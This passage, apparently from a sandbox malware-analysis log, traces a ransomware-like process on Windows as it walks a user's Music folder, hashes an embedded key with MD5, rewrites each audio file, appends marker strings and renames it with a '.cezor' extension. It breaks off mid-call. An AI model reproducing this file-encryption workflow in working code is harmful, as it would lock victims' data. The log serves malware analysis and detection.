[0060.257] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0060.257] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.257] GetLastError () returned 0x0 [0060.257] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.257] CryptReleaseContext (hProv=0x74e898, dwFlags=0x0) returned 1 [0060.257] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0060.257] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1470) returned 0x31218d0 [0060.257] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0060.257] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.258] WriteFile (in: hFile=0x5c4, lpBuffer=0x31218d0*, nNumberOfBytesToWrite=0x1461, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x31218d0*, lpNumberOfBytesWritten=0x9aafb24*=0x1461, lpOverlapped=0x0) returned 1 [0060.258] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31218d0 | out: hHeap=0x670000) returned 1 [0060.258] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x1466, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.258] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6358 [0060.258] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a878 [0060.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a878, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0060.258] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a430 [0060.258] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0060.258] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6358 | out: hHeap=0x670000) returned 1 [0060.258] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a430*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a430*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0060.258] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0060.258] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.258] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.258] CloseHandle (hObject=0x5c4) returned 1 [0060.259] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e898 [0060.259] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x880) returned 0x3100c28 [0060.259] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e898 | out: hHeap=0x670000) returned 1 [0060.259] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5V1FT5g1rxSJJ41de.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\5v1ft5g1rxsjj41de.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5V1FT5g1rxSJJ41de.m4a.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\5v1ft5g1rxsjj41de.m4a.cezor")) returned 1 [0060.259] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0060.259] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0060.260] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ea30 | out: hHeap=0x670000) returned 1 [0060.260] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7767c00, ftCreationTime.dwHighDateTime=0x1d4ce07, ftLastAccessTime.dwLowDateTime=0x80224220, ftLastAccessTime.dwHighDateTime=0x1d4d25c, ftLastWriteTime.dwLowDateTime=0x80224220, ftLastWriteTime.dwHighDateTime=0x1d4d25c, nFileSizeHigh=0x0, nFileSizeLow=0x10653, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7HJiH UDq9SzzeN5I.m4a", cAlternateFileName="7HJIHU~1.M4A")) returned 1 [0060.260] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0060.260] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ea30 [0060.261] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0060.261] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7HJiH UDq9SzzeN5I.m4a") returned=".m4a" [0060.261] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7HJiH UDq9SzzeN5I.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\7hjih udq9szzen5i.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.261] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=67155) returned 1 [0060.261] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.263] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x1062d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.263] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.264] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0060.264] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.264] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.264] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x10653, lpOverlapped=0x0) returned 1 [0060.264] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.264] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0060.264] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.264] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.265] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e898) returned 1 [0060.265] CryptCreateHash (in: hProv=0x74e898, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.265] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.265] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.265] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0060.265] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.265] GetLastError () returned 0x0 [0060.265] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.265] CryptReleaseContext (hProv=0x74e898, dwFlags=0x0) returned 1 [0060.265] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0060.265] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10650) returned 0x3132418 [0060.266] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0060.266] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.266] WriteFile (in: hFile=0x5c4, lpBuffer=0x3132418*, nNumberOfBytesToWrite=0x1064e, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3132418*, lpNumberOfBytesWritten=0x9aafb24*=0x1064e, lpOverlapped=0x0) returned 1 [0060.266] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132418 | out: hHeap=0x670000) returned 1 [0060.266] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x10653, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.266] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6358 [0060.266] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a430 [0060.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0060.266] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a878 [0060.266] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0060.266] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6358 | out: hHeap=0x670000) returned 1 [0060.266] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a878*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a878*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0060.267] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0060.267] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.267] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.267] CloseHandle (hObject=0x5c4) returned 1 [0060.268] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e898 [0060.268] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x880) returned 0x3100c28 [0060.268] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e898 | out: hHeap=0x670000) returned 1 [0060.268] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7HJiH UDq9SzzeN5I.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\7hjih udq9szzen5i.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7HJiH UDq9SzzeN5I.m4a.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\7hjih udq9szzen5i.m4a.cezor")) returned 1 [0060.268] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0060.268] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0060.269] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ea30 | out: hHeap=0x670000) returned 1 [0060.269] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f527c90, ftCreationTime.dwHighDateTime=0x1d4cd33, ftLastAccessTime.dwLowDateTime=0x2f5e7490, ftLastAccessTime.dwHighDateTime=0x1d4ccc5, ftLastWriteTime.dwLowDateTime=0x2f5e7490, ftLastWriteTime.dwHighDateTime=0x1d4ccc5, nFileSizeHigh=0x0, nFileSizeLow=0x12a87, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8ywMFiXrJ1mJNTYk.wav", cAlternateFileName="8YWMFI~1.WAV")) returned 1 [0060.269] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0060.269] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ea30 [0060.269] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0060.269] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8ywMFiXrJ1mJNTYk.wav") returned=".wav" [0060.270] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8ywMFiXrJ1mJNTYk.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8ywmfixrj1mjntyk.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.270] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=76423) returned 1 [0060.270] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.272] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x12a61, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.272] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.273] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0060.273] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.273] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.273] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x12a87, lpOverlapped=0x0) returned 1 [0060.273] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.273] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0060.273] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.273] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.273] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e898) returned 1 [0060.274] CryptCreateHash (in: hProv=0x74e898, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.274] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.274] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.274] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0060.274] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.274] GetLastError () returned 0x0 [0060.274] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.274] CryptReleaseContext (hProv=0x74e898, dwFlags=0x0) returned 1 [0060.274] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0060.274] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x12a90) returned 0x3132418 [0060.275] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0060.275] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.275] WriteFile (in: hFile=0x5c4, lpBuffer=0x3132418*, nNumberOfBytesToWrite=0x12a82, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3132418*, lpNumberOfBytesWritten=0x9aafb24*=0x12a82, lpOverlapped=0x0) returned 1 [0060.275] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132418 | out: hHeap=0x670000) returned 1 [0060.275] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x12a87, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.275] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6358 [0060.275] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a878 [0060.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a878, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0060.275] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a430 [0060.275] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0060.275] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6358 | out: hHeap=0x670000) returned 1 [0060.275] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a430*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a430*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0060.276] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0060.276] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.276] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.276] CloseHandle (hObject=0x5c4) returned 1 [0060.277] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e898 [0060.277] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x880) returned 0x3100c28 [0060.277] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e898 | out: hHeap=0x670000) returned 1 [0060.277] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8ywMFiXrJ1mJNTYk.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8ywmfixrj1mjntyk.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8ywMFiXrJ1mJNTYk.wav.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8ywmfixrj1mjntyk.wav.cezor")) returned 1 [0060.277] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0060.277] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0060.278] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ea30 | out: hHeap=0x670000) returned 1 [0060.278] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x317333d0, ftCreationTime.dwHighDateTime=0x1d4d033, ftLastAccessTime.dwLowDateTime=0x3a397480, ftLastAccessTime.dwHighDateTime=0x1d4d244, ftLastWriteTime.dwLowDateTime=0x3a397480, ftLastWriteTime.dwHighDateTime=0x1d4d244, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bAXbPKiwKvGBE_6IlyS", cAlternateFileName="BAXBPK~1")) returned 1 [0060.278] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d8e8 [0060.278] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa6) returned 0x2fedd78 [0060.278] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d8e8 | out: hHeap=0x670000) returned 1 [0060.278] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ea30 [0060.278] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e898 [0060.278] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ea30 | out: hHeap=0x670000) returned 1 [0060.278] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2fedd78 | out: hHeap=0x670000) returned 1 [0060.278] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0060.278] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0060.278] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x76) returned 0x30fc570 [0060.278] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0060.278] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini") returned=".ini" [0060.278] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30fc570 | out: hHeap=0x670000) returned 1 [0060.279] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc2c61a0, ftCreationTime.dwHighDateTime=0x1d4c5ff, ftLastAccessTime.dwLowDateTime=0x6c755760, ftLastAccessTime.dwHighDateTime=0x1d4c65b, ftLastWriteTime.dwLowDateTime=0x6c755760, ftLastWriteTime.dwHighDateTime=0x1d4c65b, nFileSizeHigh=0x0, nFileSizeLow=0x359a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Fnpi8zzFvSVq9mHNij76.wav", cAlternateFileName="FNPI8Z~1.WAV")) returned 1 [0060.279] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0060.279] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ea30 [0060.279] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0060.279] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Fnpi8zzFvSVq9mHNij76.wav") returned=".wav" [0060.279] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Fnpi8zzFvSVq9mHNij76.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fnpi8zzfvsvq9mhnij76.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.279] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=13722) returned 1 [0060.279] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.281] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x3574, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.281] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.282] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0060.282] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.282] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.282] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x359a, lpOverlapped=0x0) returned 1 [0060.282] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.282] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0060.282] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.282] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.282] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e9a8) returned 1 [0060.283] CryptCreateHash (in: hProv=0x74e9a8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.283] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.283] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.283] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0060.283] CryptGetHashParam (in: 